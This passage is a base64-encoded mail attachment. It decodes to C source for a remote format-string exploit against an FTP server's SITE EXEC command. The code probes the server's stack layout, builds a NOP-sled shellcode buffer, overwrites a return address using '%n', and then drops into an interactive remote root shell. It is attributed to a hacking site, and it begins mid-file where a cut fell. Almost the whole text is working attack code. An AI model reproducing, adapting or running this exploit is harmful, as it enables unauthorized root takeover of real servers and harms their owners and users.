KHN0ZGVyciwiQ29ubmVjdGlvbiBhYm9ydGVkLCBzZWxlY3QgZmFpbGVkKClcbiIpOw0KIGV4aXQo
MCk7DQp9DQoNCmludCBtYWdpY19jaGVja19mKGludCBzb2NrLCBjaGFyICpzdHIpIHsNCiBjaGFy
IHFbMjA0OF0sIGFuc1syMDQ4XTsNCg0KIHNucHJpbnRmKHEsIDIwNDgsICJzaXRlIGV4ZWMgJXMl
c1xyXG4iLCBzdHIsICIlLmYiKTsNCiBpZiggc3Ryc3RyKCBxLCAiXHJcbiIpID09IE5VTEwpIHsN
CiAgZnByaW50ZihzdGRlcnIsIkxpbmUgVE9PIGJpZy4uXG4iKTsNCiAgZXhpdCgtMSk7DQogfQ0K
IGZ0cF9zaXRlZXhlYyhzb2NrLCBxLCBzdHJsZW4ocSksIDEsIGFucywgMjA0OCk7DQogaWYoIGJl
Zm9yZV9sZW4rMTAgPCBzdHJsZW4oJmFuc1szXSkgKSByZXR1cm4gMDsNCiBiZWZvcmVfbGVuPXN0
cmxlbigmYW5zWzNdKTsNCiAodm9pZClzdHJjYXQoc3RyLCIlLmYiKTsNCiByZXR1cm4gMTsNCn0N
CmludCBtYWdpY19jaGVja19vKGludCBzb2NrLCBjaGFyICpzdHIpIHsNCiBjaGFyIHFbMjA0OF0s
IGFuc1syMDQ4XTsNCiAgc25wcmludGYocSwgMjA0OCwgInNpdGUgZXhlYyAlcyVzXHJcbiIsIHN0
ciwgIiVjIik7DQogIGlmKCBzdHJzdHIoIHEsICJcclxuIikgPT0gTlVMTCkgew0KICAgZnByaW50
ZihzdGRlcnIsIkxpbmUgVE9PIGJpZy4uXG4iKTsNCiAgIGV4aXQoLTEpOw0KICB9DQogZnRwX3Np
dGVleGVjKCBzb2NrLCBxLCBzdHJsZW4ocSksIDEsIGFucywgMjA0OCk7DQogaWYoIGJlZm9yZV9s
ZW49PSBzdHJsZW4oJmFuc1szXSkgKSB7DQogIGJlZm9yZV9sZW4rPTE7DQogICh2b2lkKXN0cmNh
dChzdHIsICIlZCIpOw0KICByZXR1cm4gMzsNCiB9DQogYmVmb3JlX2xlbj1zdHJsZW4oJmFuc1sz
XSk7DQogKHZvaWQpc3RyY2F0KHN0ciwiJWMiKTsNCiByZXR1cm4gMjsNCn0NCg0KaW50IG1hZ2lj
X2NoZWNrX29rKCBpbnQgc29jaywgY2hhciAqc3RyKQ0Kew0KIGNoYXIgcVsyMDQ4XSwgYW5zWzIw
NDhdOw0KIGludCBpICxuPTEsIGYsIHBhZGRpbmc9MDsNCgkNCiBzbnByaW50ZihxLCAyMDQ4LCJz
aXRlIGV4ZWMgYWFhYWFhYWElcyVzXHJcbiIsIHN0ciwgIiVwJXAiKTsNCiBpZiAoIHN0cnN0cihx
LCAiXHJcbiIgKSA9PSBOVUxMKSB7DQogIGZwcmludGYoc3RkZXJyLCAiTGluZSB0b28gbG9uZ1xu
Iik7DQogIGV4aXQoLTEpOw0KIH0NCiAodm9pZCliemVybyhhbnMsIDIwNDgpOw0KIGZ0cF9zaXRl
ZXhlYyhzb2NrLCBxLCBzdHJsZW4ocSksIDEsIGFucywgMjA0Nyk7DQogaWYoc3Ryc3RyKGFucywi
MHg2MTYxNjE2MSIpPT1OVUxMKQ0KICAgcmV0dXJuIDA7DQogZm9yKGkgPTA7IGkgPCBNQVhfTUFH
SUMgJiYgbWFnaWNbaV07IGkrKyk7DQogbWFnaWNfZFtpXT00Ow0KIHdoaWxlKG4pew0KICBmb3Io
Zj0wOyBmPCAyOyBmKyspIHsNCiAgIHNucHJpbnRmKHEsIDIwNDgsInNpdGUgZXhlYyAlLipzYWFh
YSVzJXNcclxuIiwgcGFkZGluZywgInh4eHgiLCBzdHIsIGY/IiVwJXAiOiIlcCIpOw0KICAgKHZv
aWQpYnplcm8oYW5zLCAyMDQ4KTsNCiAgIGZ0cF9zaXRlZXhlYyhzb2NrLCBxLCBzdHJsZW4ocSks
IDEsIGFucywgMjA0Nyk7DQogICBpZiggc3Ryc3RyKGFucywgIjB4NjE2MTYxNjEiKSE9TlVMTCkg
ew0KICAgIGlmIChmPT0wKSB7DQogICAgIG1hZ2ljW2ldPXBhZGRpbmc7DQogICAgIHJldHVybiAx
Ow0KICAgIH0gZWxzZSBpZiggZj09MSkgew0KICAgICBzdHJjYXQoc3RyLCIlcCIpOw0KICAgICBt
YWdpY1tpXT1wYWRkaW5nOw0KICAgICByZXR1cm4gMTsNCiAgICB9DQogICB9DQogIH0NCiAgaWYo
cGFkZGluZyA+IDQpIHsNCiAgIGZwcmludGYoc3RkZXJyLCJDYW5ub3QgY2FsY3VsYXRlIHBhZGRp
bmcuLlxuIik7DQogICBleGl0KDEpOw0KICB9DQogIHBhZGRpbmcrKzsJCQ0KIH0NCiByZXR1cm4g
MTsNCn0NCg0KDQppbnQgbWFnaWNfZGlnZ2VyKGludCBzb2NrKQ0Kew0KIGludCBnZXRfb3V0PTEs
d2hlcmU9MCxhbGxfZmFpbGVkPU1BWF9GQUlMRUQqMixmPTAsbz0wOw0KCQ0KIGlmKG1hZ2ljX3N0
cj09TlVMTCl7DQogIGlmKChtYWdpY19zdHI9KGNoYXIqKW1hbGxvYyg0MDkyKSk9PU5VTEwpew0K
ICAgcGVycm9yKCJtYWxsb2MiKTsNCiAgIGV4aXQoZXJybm8pOw0KICB9DQogfQ0KICh2b2lkKWJ6
ZXJvKG1hZ2ljX3N0ciwgNDA5Mik7DQogd2hlcmU9MDsNCiB3aGlsZShnZXRfb3V0KSB7DQogIGlu
dCBxOw0KICBpZiggd2hlcmUgPj0gTUFYX01BR0lDLTEgfHwgYWxsX2ZhaWxlZCA8PSAwICkNCiAg
ICByZXR1cm4gLTE7DQogIGlmKCBtYWdpY19jaGVja19mKHNvY2ssIG1hZ2ljX3N0cikgKSB7DQog
ICBvPTAsZisrOw0KICAgIGlmKGY9PTEpew0KICAgICBpZighbWFnaWNbd2hlcmVdKQ0KICAgICAg
bWFnaWNbd2hlcmVdPTE7DQogICAgIGVsc2UNCiAgICAgIG1hZ2ljWysrd2hlcmVdKz0xOw0KICAg
IG1hZ2ljX2Rbd2hlcmVdPTE7DQogICAgfSBlbHNlDQogICAgIG1hZ2ljW3doZXJlXSs9MTsNCiAg
IGFsbF9mYWlsZWQ9TUFYX0ZBSUxFRCoyOw0KICAgcHJpbnRmKCIlcyIsICIlLmYiKTsgZmZsdXNo
KHN0ZG91dCk7DQogICBnb3RvIHZlcmlmeTsNCiAgfQ0KICBhbGxfZmFpbGVkLS07DQogIGlmKChx
PW1hZ2ljX2NoZWNrX28oc29jayxtYWdpY19zdHIpKSl7DQogICBmPTAsbysrOw0KICAgIGlmKG89
PTEpew0KICAgICBpZighbWFnaWNbd2hlcmVdKQ0KICAgICAgbWFnaWNbMF09MTsNCiAgICAgZWxz
ZQ0KICAgICAgbWFnaWNbKyt3aGVyZV0rPTE7DQogICAgbWFnaWNfZFt3aGVyZV09cTsNCiAgIH0g
ZWxzZSB7DQogICAgaWYobWFnaWNfZFt3aGVyZV09PXEpDQogICAgIG1hZ2ljW3doZXJlXSs9MTsN
CiAgICBlbHNlIHsNCiAgICAgbWFnaWNbKyt3aGVyZV09MTsNCiAgICAgbWFnaWNfZFt3aGVyZV09
cTsNCiAgICB9DQogICB9DQogICBhbGxfZmFpbGVkPU1BWF9GQUlMRUQqMjsNCiAgIHByaW50Zigi
JXMiLCBxPT0yPyIlYyI6IiVkIik7DQogICBmZmx1c2goc3Rkb3V0KTsNCiAgIGdvdG8gdmVyaWZ5
Ow0KICB9DQogIGFsbF9mYWlsZWQtLTsNCiAgY29udGludWU7DQogIHZlcmlmeToNCiAgaWYobWFn
aWNfY2hlY2tfb2soc29jayxtYWdpY19zdHIpKXsNCiAgIHB1dGNoYXIoJ1xuJyk7DQogICByZXR1
cm4gMDsNCiAgfQ0KIH0NCiByZXR1cm4gMDsNCn0NCg0KaW50IG1haW4oaW50IGFyZ2MsIGNoYXIg
KmFyZ3ZbXSl7DQoJY2hhciAqYnVmZiwgKmJ1ZmZfcCwgKmJ1ZmZfcDIsIGMsIHNoZWxsY29kZVs1
MDBdLCpkaXIsKnBhc3N3ZD1zaGVsbGNvZGU7DQoJaW50IGksIHNvY2ssIG51bT0tMiwgcGFkZGlu
Zz0tMSwgZ209MCwgdGVzdG1vZGU9MCxtdHlwZT0wLGJsYT0wLG9mZnNldD0wOw0KCXVfbG9uZyBy
ZXRfYWRkcj0wLCBwYXNzX2FkZHI9MDsNCglmb3IoaT0wO3RhcmdbaV0ub3NfZGVzY3IhPU5VTEw7
aSsrKTsNCgl3aGlsZSgoYz1nZXRvcHQoYXJnYyxhcmd2LCJ0Omw6bTpvOnM6cjpwOk06UDp4Z2hI
PyIpKSE9RU9GKXsNCglzd2l0Y2goYykgew0KCSBjYXNlICd0JzogdGFyZ2V0PW9wdGFyZzticmVh
azsNCgkgY2FzZSAnbCc6DQoJICAgdXNlcm5hbWU9b3B0YXJnOw0KCSAgIHBhc3N3ZD1zdHJjaHIo
b3B0YXJnLCcvJyk7DQoJICAgaWYocGFzc3dkPT1OVUxMKQ0KCSAgICB1c2FnZShhcmd2WzBdLDAp
Ow0KCSAgICpwYXNzd2QrKz0oY2hhcikwOw0KCSAgIGJyZWFrOw0KCSBjYXNlICd4JzogdGVzdG1v
ZGU9MTsgYnJlYWs7DQoJIGNhc2UgJ28nOiBvZmZzZXQ9YXRvaShvcHRhcmcpO2JyZWFrOw0KCSBj
YXNlICdwJzogcGFzc19hZGRyPXN0cnRvdWwob3B0YXJnLCAmb3B0YXJnLDE2KTsgYnJlYWs7DQoJ
IGNhc2UgJ2cnOiBnbT0xOyBicmVhazsNCgkgY2FzZSAnTSc6IGRpcj1vcHRhcmc7bXR5cGU9MTti
cmVhazsNCgkgY2FzZSAnbSc6DQoJICAgew0KCSAgICBpbnQgd2hlcmU9MDsNCgkgICAgaWYoISpv
cHRhcmcpIHsNCgkgICAgICBmcHJpbnRmKHN0ZGVyciwiLW0gcmVxdWlyZXMgYXJndW1lbnQsIHRy
eSAtaCBmb3IgaGVscFxuIik7DQoJICAgICAgZXhpdCgxKTsNCgkgICAgfQ0KCSAgICB3aGlsZSgx
KSB7DQoJICAgICAgbWFnaWNbd2hlcmVdPXN0cnRvdWwob3B0YXJnLCZvcHRhcmcsMTYpOw0KCSAg
ICAgIG9wdGFyZz1zdHJjaHIob3B0YXJnLCcsJyk7DQoJICAgICAgaWYob3B0YXJnPT1OVUxMKXsN
CgkgICAgICAgIHByaW50ZigiY29tbWEgbWlzc2luZ1xuIik7DQoJCWV4aXQoMSk7DQoJICAgICAg
fQ0KCSAgICAgIG9wdGFyZysrOw0KCSAgICAgIG1hZ2ljX2Rbd2hlcmUrK109c3RydG91bChvcHRh
cmcsJm9wdGFyZywxNik7DQoJICAgICAgaWYoc3RyY2hyKG9wdGFyZywnOicpPT1OVUxMKXsNCgkg
ICAgICAgbWFnaWNbd2hlcmVdPW1hZ2ljX2Rbd2hlcmVdPTA7DQoJICAgICAgIGJyZWFrOw0KCSAg
ICAgIH0NCgkgICAgICBvcHRhcmc9c3RyY2hyKG9wdGFyZywnOicpOw0KCSAgICAgIG9wdGFyZysr
Ow0KCSAgICB9DQoJICAgfQ0KCSAgIGJyZWFrOw0KCSAgY2FzZSAncyc6DQoJICAgIG51bT1hdG9p
KG9wdGFyZyk7DQoJICAgIGlmKG51bT5pKSB7DQoJICAgICBmcHJpbnRmKHN0ZGVyciwic3lzdHlw
ZSB0b28gYmlnLCB0cnkgLWggZm9yIGhlbHBcbiIpOw0KCSAgICAgZXhpdCgxKTsNCgkgICAgfSAN
CgkgICAgYnJlYWs7DQoJICBjYXNlICdyJzoNCgkgICAgcmV0X2FkZHI9c3RydG91bChvcHRhcmcs
Jm9wdGFyZywxNik7DQoJICAgIGJyZWFrOw0KCSAgY2FzZSAnUCc6DQoJICAgIHBhZGRpbmc9YXRv
aShvcHRhcmcpOw0KCSAgICBicmVhazsNCgkgIGNhc2UgJ0gnOg0KCSAgICAgYmxhPTI7DQoJICBk
ZWZhdWx0OiB1c2FnZShhcmd2WzBdLGJsYSk7YnJlYWs7DQoJIH0NCiAgICAgICAgfQ0KCWlmKHRh
cmdldD09TlVMTCl7DQoJICBmcHJpbnRmKHN0ZGVyciwiTm8gdGFyZ2V0IHNwZWNpZmllZCwgdHJ5
IC1oIGZvciBoZWxwXG4iKTsNCgkgIGV4aXQoMSk7DQoJfQ0KCWlmKG51bT09LTF8fG51bT09LTIp
IHsNCgkgIGZvcihpPTA7IXRhcmdbaV0uZGVmO2krKyk7DQoJICBudW09aTsNCgl9DQoJKHZvaWQp
bWVtY3B5KCh2b2lkKikmZ2V0aXQsKHZvaWQqKSZ0YXJnW251bV0sc2l6ZW9mKHN0cnVjdCB0YXJn
ZXRzKSk7DQoNCglpZihtYWdpY1sxXSE9MCkgew0KCSBtZW1jcHkoKHZvaWQqKWdldGl0Lm1hZ2lj
LG1hZ2ljLHNpemVvZihtYWdpYykpOw0KCSBtZW1jcHkoKHZvaWQqKWdldGl0Lm1hZ2ljX2QsbWFn
aWNfZCxzaXplb2YobWFnaWMpKTsNCgl9DQoNCglpZihyZXRfYWRkcilnZXRpdC5hZGRyX3JldF9h
ZGRyPXJldF9hZGRyOw0KCWlmKHBhc3NfYWRkcilnZXRpdC5wYXNzX2FkZHI9cGFzc19hZGRyOw0K
DQoJZ2V0aXQuYWRkcl9yZXRfYWRkcis9KG9mZnNldCo0KTsNCg0KIAlzb2NrPWNvbm5lY3RfdG9f
c2VydmVyKHRhcmdldCk7DQoJbWVtc2V0KHNoZWxsY29kZSwgJ1x4OTAnLCBzaXplb2Yoc2hlbGxj
b2RlKSk7DQoJc2hlbGxjb2RlW3NpemVvZihzaGVsbGNvZGUpLTFdPShjaGFyKTA7DQoJaWYoIW10
eXBlKXsNCgkgbWVtY3B5KCh2b2lkKikmc2hlbGxjb2RlW3NpemVvZihzaGVsbGNvZGUpLXN0cmxl
bihnZXRpdC5zaGVsbGNvZGUpLTFdLCh2b2lkKilnZXRpdC5zaGVsbGNvZGUsIHN0cmxlbihnZXRp
dC5zaGVsbGNvZGUpKzEpOw0KCSBzaGVsbGNvZGVbc2l6ZW9mKHNoZWxsY29kZSktMV09KGNoYXIp
MDsNCgl9ZWxzZXsNCgkgbWVtY3B5KCh2b2lkKikmc2hlbGxjb2RlWzI1MC1zdHJsZW4oZ2V0aXQu
c2hlbGxjb2RlKS0xXSwodm9pZCopZ2V0aXQuc2hlbGxjb2RlLHN0cmxlbihnZXRpdC5zaGVsbGNv
ZGUpKTsNCgkgc2hlbGxjb2RlWzI1MC0xXT0oY2hhcikwOw0KCX0NCglwcmludGYoIlRhcmdldDog
JXMgKCVzLyVzKTogJXNcbiIsdGFyZ2V0LHVzZXJuYW1lLCpwYXNzd2Q9PSdceDkwJz8iPHNoZWxs
Y29kZT4iOnBhc3N3ZCxnZXRpdC5vc19kZXNjcik7DQoJcHJpbnRmKCJSZXR1cm4gQWRkcmVzczog
MHglMDhseCwgQWRkclJldEFkZHI6IDB4JTA4bHgsIFNoZWxsY29kZTogJWRcblxuIixnZXRpdC5w
YXNzX2FkZHIsZ2V0aXQuYWRkcl9yZXRfYWRkcixzdHJsZW4oZ2V0aXQuc2hlbGxjb2RlKSk7DQoN
CglidWZmPShjaGFyICopbWFsbG9jKDEwMjQpOw0KCWJ6ZXJvKGJ1ZmYsMTAyNCk7DQoNCgkodm9p
ZClmdHBfcmVjdihzb2NrLE5VTEwsMCwxKTsNCg0KCSh2b2lkKWZ0cF9sb2dpbihzb2NrLHVzZXJu
YW1lLHBhc3N3ZCk7DQoNCglpZihnbXx8KG1hZ2ljX3N0cj09TlVMTCYmZ2V0aXQubWFnaWNbMF09
PTApKXsNCgkgcHJpbnRmKCJTVEVQIDJBOiBHZW5lcmF0aW5nIG1hZ2ljIHN0cmluZzogIik7DQoJ
IGZmbHVzaChzdGRvdXQpOw0KCSBtYWdpY19kaWdnZXIoc29jayk7DQoJIG1lbWNweSgodm9pZCAq
KWdldGl0Lm1hZ2ljLCh2b2lkKiltYWdpYyxzaXplb2YobWFnaWMpKTsNCgkgbWVtY3B5KCh2b2lk
KilnZXRpdC5tYWdpY19kLCh2b2lkKiltYWdpY19kLHNpemVvZihtYWdpY19kKSk7DQoJIHByaW50
ZigiU1RFUCAyQjogTUFHSUMgU1RSSU5HOiBbIik7DQoJfSBlbHNlIHsNCgkgIHByaW50ZigiU1RF
UCAyIDogU2tpcHBpbmcsIG1hZ2ljIG51bWJlciBhbHJlYWR5IGV4aXN0czogWyIpOw0KCX0NCglm
b3IoaT0wO2k8TUFYX01BR0lDJiZnZXRpdC5tYWdpY1tpXSE9MDtpKyspew0KCSBwcmludGYoIiUw
MlgsJTAyWCIsZ2V0aXQubWFnaWNbaV0sZ2V0aXQubWFnaWNfZFtpXSk7DQoJIGlmKGdldGl0Lm1h
Z2ljW2krMV0hPTApDQoJICAgICBwdXRjaGFyKCc6Jyk7DQoJfQ0KCXByaW50ZigiXVxuIik7DQoJ
YnVmZj0oY2hhciAqKXJlYWxsb2MoYnVmZiwgNDA5Mik7DQoJKHZvaWQpYnplcm8oYnVmZiwgNDA5
Mik7DQogICAgICAgIGlmKG10eXBlKQ0KICAgICAgICAgZnRwX21rY2hkaXIoc29jayxkaXIsc2hl
bGxjb2RlKTsNCglwcmludGYoIlNURVAgMyA6IENoZWNraW5nIGlmIHdlIGNhbiByZWFjaCBvdXIg
cmV0dXJuIGFkZHJlc3MgYnkgZm9ybWF0IHN0cmluZ1xuIik7DQoJaWYoIW1hZ2ljX3N0cil7DQoJ
ICBtYWdpY19zdHI9KGNoYXIqKW1hbGxvYygyMDQ4KTsNCgkgIGlmKG1hZ2ljX3N0cj09TlVMTCkg
ew0KCSAgICBwZXJyb3IoIm1hbGxvYyIpOw0KCSAgICBleGl0KGVycm5vKTsNCgkgIH0NCgkgICh2
b2lkKWJ6ZXJvKG1hZ2ljX3N0ciwyMDQ4KTsNCgkgIGZvcihpPTA7aTxNQVhfTUFHSUMmJmdldGl0
Lm1hZ2ljW2ldIT0wO2krKyl7DQoJICAgc3dpdGNoKGdldGl0Lm1hZ2ljX2RbaV0pIHsNCgkgICAg
Y2FzZSAxOg0KCSAgICAgICBmb3IobnVtPTA7bnVtPGdldGl0Lm1hZ2ljW2ldO251bSsrKXN0cmNh
dChtYWdpY19zdHIsIiUuZiIpOw0KCSAgICAgICBicmVhazsNCgkgICAgY2FzZSAyOg0KCSAgICAg
ICBmb3IobnVtPTA7bnVtPGdldGl0Lm1hZ2ljW2ldO251bSsrKXN0cmNhdChtYWdpY19zdHIsIiVj
Iik7DQoJICAgICAgIGJyZWFrOw0KCSAgICBjYXNlIDM6DQoJICAgICAgIGZvcihudW09MDtudW08
Z2V0aXQubWFnaWNbaV07bnVtKyspc3RyY2F0KG1hZ2ljX3N0ciwiJWQiKTsNCgkgICAgICAgYnJl
YWs7DQoJICAgIGNhc2UgNDppZihwYWRkaW5nPDApcGFkZGluZz1nZXRpdC5tYWdpY1tpXTticmVh
azsNCgkgICAgZGVmYXVsdDpmcHJpbnRmKHN0ZGVyciwiU1RFUCAzOiBJTnRlcm5hbCBlcnJvclxu
Iik7DQoJICAgICAgIGV4aXQoMSk7DQoJICAgICAgIGJyZWFrOw0KIAkgIH0NCgkgfQ0KCX0NCglp
ZihwYWRkaW5nPDApew0KCSAgZm9yKG51bT0wO251bTxNQVhfTUFHSUMmJmdldGl0Lm1hZ2ljX2Rb
bnVtXSE9NDtudW0rKyk7DQoJICBpZihudW08KE1BWF9NQUdJQy0xKSkNCgkgICAgcGFkZGluZz1n
ZXRpdC5tYWdpY1tudW1dOw0KCSAgZWxzZQ0KCSAgICBmcHJpbnRmKHN0ZGVyciwiV0FSTklORzog
UFJPQkxFTVMgV0lUSCBQQURESU5HXG4iKTsNCgl9DQoJDQoJaWYoIWdldGl0LmlzbGludXgpew0K
IAkgaWYoIXRlc3Rtb2RlKQ0KCSAgIHNucHJpbnRmKGJ1ZmYsNDA5Niwic2l0ZSBleGVjICUuKnMl
YyVjJWMlYyVzfCVzXHJcbiIscGFkZGluZywieHh4eHh4eHh4eHh4eHh4eHh4eCIsTUFLRV9TVFJf
RlJPTV9SRVQoZ2V0aXQuYWRkcl9yZXRfYWRkciksbWFnaWNfc3RyLCIlcCIpOw0KCSBlbHNlDQoJ
ICAgc25wcmludGYoYnVmZiw0MDk2LCJzaXRlIGV4ZWMgJS4qcyVjJWMlYyVjJXN8JXNcclxuIixw
YWRkaW5nLCJ4eHh4eHh4eHh4eHh4eHh4eHh4IixNQUtFX1NUUl9GUk9NX1JFVChnZXRpdC5wYXNz
X2FkZHIpLG1hZ2ljX3N0ciwiJXAiKTsNCgl9IGVsc2Ugew0KIAkgaWYoIXRlc3Rtb2RlKQ0KCSAg
IHNucHJpbnRmKGJ1ZmYsNDA5Niwic2l0ZSBleGVjICUuKnMlYyVjXHhmZiVjJWMlc3wlc1xyXG4i
LHBhZGRpbmcsInh4eHh4eHh4eHh4eHh4eHh4eHgiLE1BS0VfU1RSX0ZST01fUkVUKGdldGl0LmFk
ZHJfcmV0X2FkZHIpLG1hZ2ljX3N0ciwiJXAiKTsNCgkgZWxzZQ0KCSAgIHNucHJpbnRmKGJ1ZmYs
NDA5Niwic2l0ZSBleGVjICUuKnMlYyVjXHhmZiVjJWMlc3wlc1xyXG4iLHBhZGRpbmcsInh4eHh4
eHh4eHh4eHh4eHh4eHgiLE1BS0VfU1RSX0ZST01fUkVUKGdldGl0LnBhc3NfYWRkciksbWFnaWNf
c3RyLCIlcCIpOw0KCX0NCglzbGVlcChnZXRpdC5kZWxheSk7DQoJZmZsdXNoKHN0ZG91dCk7DQoJ
aWYoKGJ1ZmZfcD0oY2hhciAqKW1hbGxvYyg0MDk2KSk9PU5VTEwpew0KCSAgZnByaW50ZihzdGRl
cnIsIm1hbGxvYyBmYWlsZWQuXG4iKTsNCgkgIGV4aXQoMSk7DQoJfQ0KCSh2b2lkKWJ6ZXJvKGJ1
ZmZfcCw0MDk2KTsNCglmdHBfc2l0ZWV4ZWMoc29jayxidWZmLHN0cmxlbihidWZmKSwxLGJ1ZmZf
cCw0MDk1KTsNCglpZigoYnVmZl9wMj1zdHJjaHIoYnVmZl9wLCdccicpKSE9TlVMTCkNCgkgKmJ1
ZmZfcDI9KGNoYXIpMDsNCglpZigoYnVmZl9wMj1zdHJjaHIoYnVmZl9wLCdcbicpKSE9TlVMTCkN
CgkgKmJ1ZmZfcDI9KGNoYXIpMDsNCglidWZmX3AyPXN0cnN0cihidWZmX3AsInwweCIpOw0KCWlm
KGJ1ZmZfcDI9PU5VTEwpew0KCSAgZnByaW50ZihzdGRlcnIsIkZpeCBtZSwgaW5jb3JyZWN0IHJl
c3BvbnNlIGZyb20gJyUlcCc6JXNcbiIsYnVmZl9wKTsNCgkgIGV4aXQoMSk7DQoJfQ0KCWJ1ZmZf
cDIrPTM7DQoJaWYoIXRlc3Rtb2RlKQ0KCSAgcHJpbnRmKCJTVEVQIDQgOiBQdHIgYWRkcmVzcyB0
ZXN0OiAweCVzIChpZiBpdCBpcyBub3QgMHglMDhseCBeQyBtZSBub3cpXG4iLGJ1ZmZfcDIsZ2V0
aXQuYWRkcl9yZXRfYWRkcik7DQoJZWxzZQ0KCSAgcHJpbnRmKCJTVEVQIDQgOiBQdHIgYWRkcmVz
cyB0ZXN0OiAweCVzIChpZiBpdCBpcyBub3QgMHglMDhseCBeQyBtZSBub3cpXG4iLGJ1ZmZfcDIs
Z2V0aXQucGFzc19hZGRyKTsNCglzbGVlcChnZXRpdC5kZWxheSk7DQoJYnVmZl9wMj1zdHJzdHIo
YnVmZiwgIiUuZiIpOw0KCSpidWZmX3AyKys9KGNoYXIgKTA7DQoJc3RyY3B5KGJ1ZmZfcCwgYnVm
Zik7DQoJaWYoIXRlc3Rtb2RlKQ0KCSAgc3ByaW50ZihidWZmX3Arc3RybGVuKGJ1ZmZfcCksIiVz
JXUlYyIsIiVkJS4iLCh1X2ludClnZXRpdC5wYXNzX2FkZHIsJ2QnKTsNCgllbHNlDQoJICBzcHJp
bnRmKGJ1ZmZfcCtzdHJsZW4oYnVmZl9wKSwiJXMiLCIlZCVkIik7DQoJc3RyY3B5KGJ1ZmZfcCtz
dHJsZW4oYnVmZl9wKSwgYnVmZl9wMik7DQoJYnVmZl9wMj1zdHJjaHIoYnVmZl9wLCd8Jyk7DQoJ
YnVmZl9wMisrOw0KCXByaW50ZigiU1RFUCA1IDogU2VuZGluZyBjb2RlLi4gdGhpcyB3aWxsIHRh
a2UgYWJvdXQgMTAgc2Vjb25kcy5cbiIpOw0KCWlmKCF0ZXN0bW9kZSl7DQoJICBzdHJjcHkoYnVm
Zl9wMiwiJW5cclxuIik7DQoJICBmdHBfc2VuZChzb2NrLGJ1ZmZfcCxzdHJsZW4oYnVmZl9wKSww
LE5VTEwsMCk7DQoJfSBlbHNlIHsNCgkgICh2b2lkKWJ6ZXJvKGJ1ZmYsNDA5Nik7DQoJICBzdHJj
cHkoYnVmZl9wMiwiJXNcclxuIik7DQoJICBmdHBfc2VuZChzb2NrLGJ1ZmZfcCxzdHJsZW4oYnVm
Zl9wKSwxLGJ1ZmYsNDA5Mik7DQoJICBwcmludGYoImdvdCBhbnN3ZXI6ICVzXG4iLGJ1ZmYpOw0K
CSAgZXhpdCgwKTsNCgl9DQoJZnJlZShidWZmX3ApOw0KCWZyZWUoYnVmZik7DQoJc2lnbmFsKFNJ
R0lOVCwgU0lHX0lHTik7DQoJc2lnbmFsKFNJR0hVUCwgU0lHX0lHTik7DQoJcHJpbnRmKFJFRCJQ
cmVzcyBeXFwgdG8gbGVhdmUgc2hlbGwiTk9STSJcbiIpOw0KCXByb2Nlc3NfcG9zc2libHlfcm9v
dGVkKHNvY2spOw0KCXJldHVybiAwOw0KfQ0KLyogICAgICAgICAgICAgICAgICAgIHd3dy5oYWNr
LmNvLnphICAgICAgICAgICBbMjUgSnVuZV0qLw==

--Boundary-=_UbdubzvaFspqpqWuZiFWOVydDWyV--
(5246013) ------------------------------------------(Ombruten)